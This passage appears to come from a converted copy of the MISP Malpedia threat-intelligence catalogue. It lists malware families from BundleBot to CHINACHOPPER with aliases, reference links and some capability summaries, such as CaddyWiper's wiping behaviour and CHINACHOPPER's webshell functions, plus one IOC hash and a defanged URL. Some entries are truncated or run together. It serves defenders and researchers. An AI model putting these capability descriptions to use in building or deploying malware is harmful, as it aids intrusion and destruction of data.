<tr>
<td><a href="https://www.aspirets.com/blog/bumblebee-malware-loader-threat-analysis/">https://www.aspirets.com/blog/bumblebee-malware-loader-threat-analysis/</a></td>
</tr>
<tr>
<td><a href="https://resecurity.com/blog/article/shortcut-based-Ink-attacks-delivering-malicious-code-on-the-rise">https://resecurity.com/blog/article/shortcut-based-Ink-attacks-delivering-malicious-code-on-the-rise</a></td>
</tr>
<tr>
<td><a href="https://threathunt.blog/bzz-bzz-bumblebee-loader">https://threathunt.blog/bzz-bzz-bumblebee-loader</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/Intrinsec/status/1699779830294970856">https://twitter.com/Intrinsec/status/1699779830294970856</a></td>
</tr>
<tr>
<td><a href="https://www.deepinstinct.com/blog/pindos-new-javascript-dropper-delivering-bumblebee-andiddid">https://www.deepinstinct.com/blog/pindos-new-javascript-dropper-delivering-bumblebee-andiddid</a></td>
</tr>
<tr>
<td><a href="https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/bumblebee-docusign-campaign">https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/bumblebee-docusign-campaign</a></td>
</tr>
</tbody>
</table>
Bundestrojaner

The tag is: *misp-galaxy:malpedia*="Bundestrojaner"

Bundestrojaner is also known as:

- 0zapftis
- R2D2

Table 2662. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.bundestrojaner">https://malpedia.caad.fkie.fraunhofer.de/details/win.bundestrojaner</a></td>
</tr>
</tbody>
</table>

BundleBot

Bundlebot is an info stealer that abuses the single-file dotnet bundle which operates as a self-contained executable that does not require any preinstalled dotnet runtime version. Bundlebot
functionality targets a wide variety of data including the victim’s system information, browser data, telegram data, discord token, Facebook account information, and screenshots.

The tag is: `misp-galaxy:malpedia="BundleBot"`

BundleBot is also known as:

Table 2663. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.bundlebot">https://malpedia.caad.fkie.fraunhofer.de/details/win.bundlebot</a></td>
</tr>
<tr>
<td><a href="https://research.checkpoint.com/2023/byos-bundle-your-own-stealer/">https://research.checkpoint.com/2023/byos-bundle-your-own-stealer/</a></td>
</tr>
</tbody>
</table>

**Bunitu**

Bunitu is a trojan that exposes infected computers to be used as a proxy for remote clients. It registers itself at startup by providing its address and open ports. Access to Bunitu proxies is available by using criminal VPN services (e.g.VIP72).

The tag is: `misp-galaxy:malpedia="Bunitu"`

Bunitu is also known as:

Table 2664. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.bunitu">https://malpedia.caad.fkie.fraunhofer.de/details/win.bunitu</a></td>
</tr>
<tr>
<td><a href="http://malware-traffic-analysis.net/2017/05/09/index.html">http://malware-traffic-analysis.net/2017/05/09/index.html</a></td>
</tr>
<tr>
<td><a href="https://zerophagemalware.com/2017/06/07/rig-ek-via-fake-eve-online-website-drops-bunitu/">https://zerophagemalware.com/2017/06/07/rig-ek-via-fake-eve-online-website-drops-bunitu/</a></td>
</tr>
<tr>
<td><a href="https://broadanalysis.com/2019/04/12/rig-exploit-kit-delivers-bunitu-malware/">https://broadanalysis.com/2019/04/12/rig-exploit-kit-delivers-bunitu-malware/</a></td>
</tr>
<tr>
<td><a href="https://blog.malwarebytes.com/threat-analysis/2015/07/revisiting-the-bunitu-trojan/">https://blog.malwarebytes.com/threat-analysis/2015/07/revisiting-the-bunitu-trojan/</a></td>
</tr>
</tbody>
</table>

**Buterat**

The tag is: `misp-galaxy:malpedia="Buterat"`

Buterat is also known as:

- spyvoltar
Table 2665. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.buterafj">https://malpedia.caad.fkie.fraunhofer.de/details/win.buterafj</a></td>
</tr>
</tbody>
</table>

**Buzus**

The tag is: `misp-galaxy:malpedia="Buzus"`

Buzus is also known as:

- Yimfoca

Table 2666. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.buzus">https://malpedia.caad.fkie.fraunhofer.de/details/win.buzus</a></td>
</tr>
</tbody>
</table>

**BYEBY**

The tag is: `misp-galaxy:malpedia="BYEBY"`

BYEBY is also known as:

Table 2667. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.byeby">https://malpedia.caad.fkie.fraunhofer.de/details/win.byeby</a></td>
</tr>
<tr>
<td><a href="https://unit42.paloaltonetworks.com/unit42-threat-actors-target-government-belarus-using-cmstar-trojan">https://unit42.paloaltonetworks.com/unit42-threat-actors-target-government-belarus-using-cmstar-trojan</a></td>
</tr>
<tr>
<td><a href="https://www.welivesecurity.com/2020/05/14/mikroceen-spying-backdoor-high-profile-networks-central-asia/">https://www.welivesecurity.com/2020/05/14/mikroceen-spying-backdoor-high-profile-networks-central-asia/</a></td>
</tr>
</tbody>
</table>
c0d0so0

The tag is: misp-galaxy:malpedia="c0d0so0"

c0d0so0 is also known as:

Table 2668. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.c0d0so0">https://malpedia.caad.fkie.fraunhofer.de/details/win.c0d0so0</a></td>
</tr>
</tbody>
</table>

CabArt

The tag is: misp-galaxy:malpedia="CabArt"

CabArt is also known as:

Table 2669. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.cabart">https://malpedia.caad.fkie.fraunhofer.de/details/win.cabart</a></td>
</tr>
</tbody>
</table>

CaddyWiper

CaddyWiper is another destructive malware believed to be deployed to target Ukraine.

CaddyWiper wipes all files under C:\Users and all also all files under available drives from D: to Z: by overwriting the data with NULL value. If the target file is greater than 0xA0000 bytes in size (10MB), it will only wipe the first 0xA0000 bytes.

It also wipes disk partitions from \\.\PHYSICALDRIVE9 to \\.\PHYSICALDRIVE0 by overwriting the first 0x780 bytes with NULL.

The tag is: misp-galaxy:malpedia="CaddyWiper"

CaddyWiper is also known as:

• KillDisk.NCX

Table 2670. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.caddywiper">https://malpedia.caad.fkie.fraunhofer.de/details/win.caddywiper</a></td>
</tr>
<tr>
<td><a href="https://maxkersten.nl/binary-analysis-course/analysis-scripts/ghidra-script-to-handle-stack-strings/">https://maxkersten.nl/binary-analysis-course/analysis-scripts/ghidra-script-to-handle-stack-strings/</a></td>
</tr>
<tr>
<td><a href="https://msrc-blog.microsoft.com/2022/02/28/analysis-resources-cyber-threat-activity-ukraine/">https://msrc-blog.microsoft.com/2022/02/28/analysis-resources-cyber-threat-activity-ukraine/</a></td>
</tr>
<tr>
<td><a href="https://www.fortinet.com/blog/threat-research/the-increasing-wiper-malware-threat">https://www.fortinet.com/blog/threat-research/the-increasing-wiper-malware-threat</a></td>
</tr>
</tbody>
</table>
CadelSpy

CadelSpy is a spyware supposedly used by Iranian threat actors. It has several functions such as logging keystrokes, record audio, capture screenshots and webcam photos, and steal any documents that are sent to a printer.

The tag is: misp-galaxy:malpedia="CadelSpy"

CadelSpy is also known as:

- Cadelle

Table 2671. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.cadelspy">https://malpedia.caad.fkie.fraunhofer.de/details/win.cadelspy</a></td>
</tr>
</tbody>
</table>

CALMTHORN

The tag is: misp-galaxy:malpedia="CALMTHORN"

CALMTHORN is also known as:

Table 2672. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.calmthorn">https://malpedia.caad.fkie.fraunhofer.de/details/win.calmthorn</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/8th_grey_owl/status/1357550261963689985">https://twitter.com/8th_grey_owl/status/1357550261963689985</a></td>
</tr>
</tbody>
</table>
Cameleon

PWC describes this malware as a backdoor, capable of file management, upload and download of files, and execution of commands.

The tag is: misp-galaxy:malpedia="Cameleon"

Cameleon is also known as:

• StormKitty

Table 2673. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.cameleon">https://malpedia.caad.fkie.fraunhofer.de/details/win.cameleon</a></td>
</tr>
</tbody>
</table>

campoloader

The tag is: misp-galaxy:malpedia="campoloader"

campoloader is also known as:

Table 2674. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.campoloader">https://malpedia.caad.fkie.fraunhofer.de/details/win.campoloader</a></td>
</tr>
<tr>
<td><a href="https://blog.group-ib.com/prometheus-tds">https://blog.group-ib.com/prometheus-tds</a></td>
</tr>
<tr>
<td><a href="https://mal-eats.net/en/2021/05/11/campo_new_attack_campaign_targeting_japan/">https://mal-eats.net/en/2021/05/11/campo_new_attack_campaign_targeting_japan/</a></td>
</tr>
<tr>
<td><a href="https://unit42.paloaltonetworks.com/bazarloader-malware/">https://unit42.paloaltonetworks.com/bazarloader-malware/</a></td>
</tr>
</tbody>
</table>

CamuBot

There is no lot of IOCs in this article so we take one sample and try to extract some interesting IOCs, our findings below:

CamuBot sample: 37ca2e37e1dc26d6b66ba041ed653dc8ee43e1db71a705df4546449dd7591479

Dropped Files on disk:
Protecao.exe try to download hxxp://www.usb-over-network.com/usb-over-network-64bit.msi

A new driver is installed: C:\Windows\system32\drivers\ftusbload2.sys

ftusbload2.sys set 28 IRP handlers.

The tag is: _misp-galaxy:malpedia_"CamuBot"

CamuBot is also known as:

Table 2675. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.camubot">https://malpedia.caad.fkie.fraunhofer.de/details/win.camubot</a></td>
</tr>
</tbody>
</table>

**Cannibal Rat**

Cannibal Rat is a python written remote access trojan with 4 versions as of March 2018. The RAT is reported to impact users of a Brazilian public sector management school. The RAT is distributed in a py2exe format, with the python27.dll and the python bytecode stored as a PE resource and the additional libraries zipped in the overlay of the executable.

The tag is: _misp-galaxy:malpedia_"Cannibal Rat"

Cannibal Rat is also known as:

Table 2676. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.cannibal_rat">https://malpedia.caad.fkie.fraunhofer.de/details/win.cannibal_rat</a></td>
</tr>
<tr>
<td><a href="http://blog.talosintelligence.com/2018/02/cannibalrat-targets-brazil.html">http://blog.talosintelligence.com/2018/02/cannibalrat-targets-brazil.html</a></td>
</tr>
</tbody>
</table>

**Cannon**

The tag is: _misp-galaxy:malpedia_"Cannon"

Cannon is also known as:
Carbanak

MyCERT states that Carbanak is a remote backdoor designed for espionage, data exfiltration, and to remote control.

The attacker deploy malware via spear phishing email to lure the user to open and run the malicious attachment that will infect the machine. The main objective of this campaign is primarily to remotely control the infected machine and gain control of the internal destinations of money processing services such as Automated Teller Machines (ATM) and financial accounts. The following information are the malware capabilities:

The tag is: `misp-galaxy:malpedia="Carbanak"`

Carbanak is also known as:

- Anunak
- Sekur RAT

Table 2678. Table References
Carberp

The tag is: misp-galaxy:malpedia="Carberp"

Carberp is also known as:

Table 2679. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.carberp">https://malpedia.caad.fkie.fraunhofer.de/details/win.carberp</a></td>
</tr>
<tr>
<td><a href="https://blog.avast.com/2013/04/08/carberp_epitaph/">https://blog.avast.com/2013/04/08/carberp_epitaph/</a></td>
</tr>
</tbody>
</table>
Cardinal RAT

Cardinal RAT is a remote access Trojan capable of stealing username and credentials, cleaning out cookies from browsers, keylogging and capturing screenshots on targeted systems. It is delivered via a downloader dubbed “Carp” which uses malicious macros in Microsoft Excel documents to compile embedded source code into an executable, which then deploys the Cardinal RAT malware family.

The tag is: misp-galaxy:malpedia="Cardinal RAT"

Cardinal RAT is also known as:

Table 2680. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.cardinal_rat">https://malpedia.caad.fkie.fraunhofer.de/details/win.cardinal_rat</a></td>
</tr>
<tr>
<td><a href="http://researchcenter.paloaltonetworks.com/2017/04/unit42-cardinal-rat-active-two-years/?adbsc=social71702736&amp;adbid=855028404965433346&amp;adbl=tw&amp;adbr=4487645412">http://researchcenter.paloaltonetworks.com/2017/04/unit42-cardinal-rat-active-two-years/?adbsc=social71702736&amp;adbid=855028404965433346&amp;adbl=tw&amp;adbr=4487645412</a></td>
</tr>
<tr>
<td><a href="https://www.picussecurity.com/blog/picus-10-critical-mitre-attck-techniques-t1055-process-injection">https://www.picussecurity.com/blog/picus-10-critical-mitre-attck-techniques-t1055-process-injection</a></td>
</tr>
<tr>
<td><a href="https://unit42.paloaltonetworks.com/cardinal-rat-sins-again-targets-israeli-fin-tech-firms/">https://unit42.paloaltonetworks.com/cardinal-rat-sins-again-targets-israeli-fin-tech-firms/</a></td>
</tr>
</tbody>
</table>

CargoBay

CargoBay is a newer malware family which was first observed in 2022 and is notable for being written in the Rust language. CargoBay is likely based on source code taken from ‘Black Hat Rust’ GitHub project (https://github.com/skerkour/black-hat-rust). CargoBay is usually distributed via phishing emails, and the malware binaries may be disguised as legitimate applications. Upon execution, the malware starts by performing environmental checks such as checking its execution path and the configured system language. If the tests pass, then the malware proceeds to gather basic system information and register with its C2 via HTTP from which it receives JSON-formatted jobs to carry out. CargoBay can execute commands via the command line and downloading additional malware binaries.

The tag is: misp-galaxy:malpedia="CargoBay"

CargoBay is also known as:

Table 2681. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>
CARROTBALL

CARROTBALL is a simple FTP downloader built to deploy SYSCON, a Remote Access Trojan used by the same threat actor. Discovered by Unit 42 in late 2019, the downloader was adopted for use in spear phishing attacks against US government agencies.

The tag is: `misp-galaxy:malpedia="CARROTBALL"`

CARROTBALL is also known as:

Table 2682. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.carrotball">https://malpedia.caad.fkie.fraunhofer.de/details/win.carrotball</a></td>
</tr>
</tbody>
</table>

CarrotBat

The tag is: `misp-galaxy:malpedia="CarrotBat"`

CarrotBat is also known as:

Table 2683. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.carrotbat">https://malpedia.caad.fkie.fraunhofer.de/details/win.carrotbat</a></td>
</tr>
</tbody>
</table>

Casper

ESET describes Casper as a well-developed reconnaissance tool, making extensive efforts to remain unseen on targeted machines. Of particular note are the specific strategies adopted against anti-malware software. Casper was used against Syrian targets in April 2014, which makes it the most recent malware from this group publicly known at this time.

The tag is: `misp-galaxy:malpedia="Casper"`

Casper is also known as:

Table 2684. Table References
CatB

The tag is: misp-galaxy:malpedia="CatB"

CatB is also known as:

Table 2685. Table References

Links

https://malpedia.caad.fkie.fraunhofer.de/details/win.catb
https://www.sentinelone.com/blog/decrypting-catb-ransomware-analyzing-their-latest-attack-methods/
http://stillu.cc/assets/slides/2023-08-Unmasking%20CamoFei.pdf

Catchamas

The tag is: misp-galaxy:malpedia="Catchamas"

Catchamas is also known as:

Table 2686. Table References

Links

https://malpedia.caad.fkie.fraunhofer.de/details/win.catchamas
https://www.symantec.com/blogs/threat-intelligence/thrip-hits-satellite-telecoms-defense-targets

CCleaner Backdoor

According to CrowdStrike, this backdoor was discovered embedded in the legitimate, signed version of CCleaner 5.33, and thus constitutes a supply chain attack.

The tag is: misp-galaxy:malpedia="CCleaner Backdoor"

CCleaner Backdoor is also known as:

- DIRTCLEANER

Table 2687. Table References
Mandiant characterizes this malware as a downloader and shellcode stager.

The tag is: misp-galaxy:malpedia="CEELOADER"

CEELOADER is also known as:

Table 2688. Table References
CenterPOS

The tag is: misp-galaxy:malpedia="CenterPOS"

CenterPOS is also known as:

- cerebrus

Cerber

A prolific ransomware which originally added ".cerber" as a file extension to encrypted files. Has undergone multiple iterations in which the extension has changed. Uses a very readily identifiable set of UDP activity to checkin and report infections. Primarily uses TOR for payment information.

The tag is: misp-galaxy:malpedia="Cerber"

Cerber is also known as:
Cerbu

This malware family delivers its artifacts packed with free and generic packers. It writes files to windows temporary folders, downloads additional malware (generally cryptominers) and deletes itself.

The tag is: *misp-galaxy:malpedia*="Cerbu"

Cerbu is also known as:

*Table 2691. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

CetaRAT

The tag is: *misp-galaxy:malpedia*="CetaRAT"

CetaRAT is also known as:

*Table 2692. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>
ChaChi

The tag is: `misp-galaxy:malpedia="ChaChi"`

ChaChi is also known as:

Table 2693. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.chachi">https://malpedia.caad.fkie.fraunhofer.de/details/win.chachi</a></td>
</tr>
</tbody>
</table>

Chaes

The tag is: `misp-galaxy:malpedia="Chaes"`

Chaes is also known as:

Table 2694. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.chaes">https://malpedia.caad.fkie.fraunhofer.de/details/win.chaes</a></td>
</tr>
<tr>
<td><a href="https://decoded.avast.io/anhho/chasing-chaes-kill-chain/">https://decoded.avast.io/anhho/chasing-chaes-kill-chain/</a></td>
</tr>
</tbody>
</table>

Chainshot

The tag is: `misp-galaxy:malpedia="Chainshot"`

Chainshot is also known as:

Table 2695. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.chainshot">https://malpedia.caad.fkie.fraunhofer.de/details/win.chainshot</a></td>
</tr>
<tr>
<td><a href="https://securelist.com/puzzlemaker-chrome-zero-day-exploit-chain/102771/">https://securelist.com/puzzlemaker-chrome-zero-day-exploit-chain/102771/</a></td>
</tr>
<tr>
<td><a href="https://www.icebrg.io/blog/adobe-flash-zero-day-targeted-attack">https://www.icebrg.io/blog/adobe-flash-zero-day-targeted-attack</a></td>
</tr>
<tr>
<td><a href="https://citizenlab.ca/2021/07/hooking-candiru-another-mercenary-spyware-vendor-comes-into-focus/">https://citizenlab.ca/2021/07/hooking-candiru-another-mercenary-spyware-vendor-comes-into-focus/</a></td>
</tr>
</tbody>
</table>
CHAIRSMACK

The tag is: `misp-galaxy:malpedia="CHAIRSMACK"`

CHAIRSMACK is also known as:

Table 2696. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.chairsmack">https://malpedia.caad.fkie.fraunhofer.de/details/win.chairsmack</a></td>
</tr>
</tbody>
</table>

Chaos (Windows)

In-development ransomware family which was released in June 2021 by an unknown threat actor. The builder initially claimed to be a “Ryuk .Net Ransomware Builder” even though it was completely unrelated to the Ryuk malware family. Presently it appears to contain trojan-like features, but lacks features commonly found in ransomware such as data exfiltration.

The tag is: `misp-galaxy:malpedia="Chaos (Windows)"`

Chaos (Windows) is also known as:

- FakeRyuk
- RyukJoke
- Yashma

Table 2697. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.chaos">https://malpedia.caad.fkie.fraunhofer.de/details/win.chaos</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/vinopaljiri/status/1519645742440329216">https://twitter.com/vinopaljiri/status/1519645742440329216</a></td>
</tr>
<tr>
<td><a href="https://marcoramilli.com/2021/06/14/the-allegedly-ryuk-ransomware-builder-ryukjoke/">https://marcoramilli.com/2021/06/14/the-allegedly-ryuk-ransomware-builder-ryukjoke/</a></td>
</tr>
<tr>
<td><a href="https://research.openanalysis.net/quasar/chaos/rat/ransomware/2023/04/13/quasar-chaos.html">https://research.openanalysis.net/quasar/chaos/rat/ransomware/2023/04/13/quasar-chaos.html</a></td>
</tr>
<tr>
<td><a href="https://www.fortinet.com/blog/threat-research/chaos-ransomware-variant-in-fake-minecraft-alt-list-brings-destruction">https://www.fortinet.com/blog/threat-research/chaos-ransomware-variant-in-fake-minecraft-alt-list-brings-destruction</a></td>
</tr>
<tr>
<td><a href="https://www.fortinet.com/blog/threat-research/chaos-ransomware-variant-sides-with-russia">https://www.fortinet.com/blog/threat-research/chaos-ransomware-variant-sides-with-russia</a></td>
</tr>
<tr>
<td><a href="https://blog.qualys.com/vulnerabilities-threat-research/2022/01/17/the-chaos-ransomware-can-be-ravaging">https://blog.qualys.com/vulnerabilities-threat-research/2022/01/17/the-chaos-ransomware-can-be-ravaging</a></td>
</tr>
</tbody>
</table>
Chaperone

According to Kaspersky GReAT and AMR, TajMahal is a previously unknown and technically sophisticated APT framework discovered by Kaspersky Lab in the autumn of 2018. This full-blown spying framework consists of two packages named Tokyo and Yokohama. It includes backdoors, loaders, orchestrators, C2 communicators, audio recorders, keyloggers, screen and webcam grabbers, documents and cryptography key stealers, and even its own file indexer for the victim’s machine. We discovered up to 80 malicious modules stored in its encrypted Virtual File System, one of the highest numbers of plugins they have ever seen for an APT toolset.

The tag is: `misp-galaxy:malpedia="Chaperone"`

Chaperone is also known as:

- Taj Mahal

Table 2698. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.chaperone">https://malpedia.caad.fkie.fraunhofer.de/details/win.chaperone</a></td>
</tr>
<tr>
<td><a href="https://github.com/TheEnergyStory/malware_analysis/tree/master/TajMahal">https://github.com/TheEnergyStory/malware_analysis/tree/master/TajMahal</a></td>
</tr>
<tr>
<td><a href="https://securelist.com/project-tajmahal/90240/">https://securelist.com/project-tajmahal/90240/</a></td>
</tr>
</tbody>
</table>

ChargeWeapon

The tag is: `misp-galaxy:malpedia="ChargeWeapon"`

ChargeWeapon is also known as:

Table 2699. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.chargeweapon">https://malpedia.caad.fkie.fraunhofer.de/details/win.chargeweapon</a></td>
</tr>
</tbody>
</table>

CHCH

CHCH is a Ransomware spotted in the wild in December 2019. It encrypts victim files and adds the extension .chch to them while it drops a ransomware note named: READ_ME.TXT

The tag is: `misp-galaxy:malpedia="CHCH"`
CHCH is also known as:

<table>
<thead>
<tr>
<th>Table 2700. Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td>Links</td>
</tr>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.chch">https://malpedia.caad.fkie.fraunhofer.de/details/win.chch</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/GrujaRS/status/1205566219971125249">https://twitter.com/GrujaRS/status/1205566219971125249</a></td>
</tr>
</tbody>
</table>

**ChChes**

The tag is: `misp-galaxy:malpedia="ChChes"

ChChes is also known as:

- HAYMAKER
- Ham Backdoor

<table>
<thead>
<tr>
<th>Table 2701. Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td>Links</td>
</tr>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.chches">https://malpedia.caad.fkie.fraunhofer.de/details/win.chches</a></td>
</tr>
<tr>
<td><a href="https://www.jpcert.or.jp/magazine/acreport-ChChes.html">https://www.jpcert.or.jp/magazine/acreport-ChChes.html</a></td>
</tr>
<tr>
<td><a href="https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf">https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf</a></td>
</tr>
<tr>
<td><a href="https://www.secureworks.com/research/threat-profiles/bronze-riverside">https://www.secureworks.com/research/threat-profiles/bronze-riverside</a></td>
</tr>
<tr>
<td><a href="https://www.jpcert.or.jp/magazine/acreport-ChChes_ps1.html">https://www.jpcert.or.jp/magazine/acreport-ChChes_ps1.html</a></td>
</tr>
</tbody>
</table>

**CHEESETRAY**

CHEESETRAY is a sophisticated proxy-aware backdoor that can operate in both active and passive mode depending on the passed command-line parameters. The backdoor is capable of enumerating files and processes, enumerating drivers, enumerating remote desktop sessions, uploading and downloading files, creating and terminating processes, deleting files, creating a reverse shell, acting as a proxy server, and hijacking processes among its other functionality. The backdoor communicates with its C&C server using a custom binary protocol over TCP with port specified as a command-line parameter.

The tag is: `misp-galaxy:malpedia="CHEESETRAY"

CHEESETRAY is also known as:

- CROWDEDFLOUNDER
Chernolocker

Chernolocker is a ransomware that encrypts a victim’s files by using AES-256 and it asks for BTC ransom. Different versions are classified by the attacker’s email address which changes over time.

The tag is: misp-galaxy:malpedia="Chernolocker"

Chernolocker is also known as:

Table 2703. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.chernolocker">https://malpedia.caad.fkie.fraunhofer.de/details/win.chernolocker</a></td>
</tr>
<tr>
<td><a href="https://id-ransomware.blogspot.com/2019/12/chernolocker-ransomware.html">https://id-ransomware.blogspot.com/2019/12/chernolocker-ransomware.html</a></td>
</tr>
</tbody>
</table>

CherryPicker POS

The tag is: misp-galaxy:malpedia="CherryPicker POS"

CherryPicker POS is also known as:

- cherry_picker
- cherrypicker
- cherrypickerpos

Table 2704. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.cherry_picker">https://malpedia.caad.fkie.fraunhofer.de/details/win.cherry_picker</a></td>
</tr>
<tr>
<td><a href="https://cocomelonc.github.io/tutorial/2022/05/16/malware-pers-5.html">https://cocomelonc.github.io/tutorial/2022/05/16/malware-pers-5.html</a></td>
</tr>
</tbody>
</table>

ChewBacca

The tag is: misp-galaxy:malpedia="ChewBacca"
ChewBacca is also known as:

Table 2705. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.chewbacca">https://malpedia.caad.fkie.fraunhofer.de/details/win.chewbacca</a></td>
</tr>
<tr>
<td><a href="http://vinsula.com/2014/03/01/chewbacca-tor-based-pos-malware/">http://vinsula.com/2014/03/01/chewbacca-tor-based-pos-malware/</a></td>
</tr>
</tbody>
</table>

Chimera

According to PCrisk, Chimera is a ransomware virus that encrypts files stored on infected systems. It is distributed using various false job applications, business offers, and infected email attachments. After encrypting the files, Chimera adds a .crypt extension to each file.

The tag is: `misp-galaxy:malpedia="Chimera"`

Chimera is also known as:

Table 2706. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.chimera">https://malpedia.caad.fkie.fraunhofer.de/details/win.chimera</a></td>
</tr>
</tbody>
</table>

CHINACHOPPER

a simple code injection webshell that executes Microsoft .NET code within HTTP POST commands. This allows the shell to upload and download files, execute applications with web server account permissions, list directory contents, access Active Directory, access databases, and any other action allowed by the .NET runtime.

The tag is: `misp-galaxy:malpedia="CHINACHOPPER"`

CHINACHOPPER is also known as:

Table 2707. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.chinachopper">https://malpedia.caad.fkie.fraunhofer.de/details/win.chinachopper</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/ESETresearch/status/1366862946488451088">https://twitter.com/ESETresearch/status/1366862946488451088</a></td>
</tr>
<tr>
<td><a href="https://us-cert.cisa.gov/ncas/alerts/aa20-259a">https://us-cert.cisa.gov/ncas/alerts/aa20-259a</a></td>
</tr>
<tr>
<td><a href="https://www.cybereason.com/blog/operation-soft-cell-a-worldwide-campaign-against-telecommunications-providers">https://www.cybereason.com/blog/operation-soft-cell-a-worldwide-campaign-against-telecommunications-providers</a></td>
</tr>
<tr>
<td>URL</td>
</tr>
<tr>
<td>---------------------------------------------------------------------</td>
</tr>
<tr>
<td><a href="https://www.devo.com/blog/detect-and-investigate-hafnium-using-devo/">https://www.devo.com/blog/detect-and-investigate-hafnium-using-devo/</a></td>
</tr>
<tr>
<td><a href="https://redcanary.com/blog/microsoft-exchange-attacks">https://redcanary.com/blog/microsoft-exchange-attacks</a></td>
</tr>
<tr>
<td><a href="https://www.huntress.com/blog/rapid-response-mass-exploitation-of-on-prem-exchange-servers">https://www.huntress.com/blog/rapid-response-mass-exploitation-of-on-prem-exchange-servers</a></td>
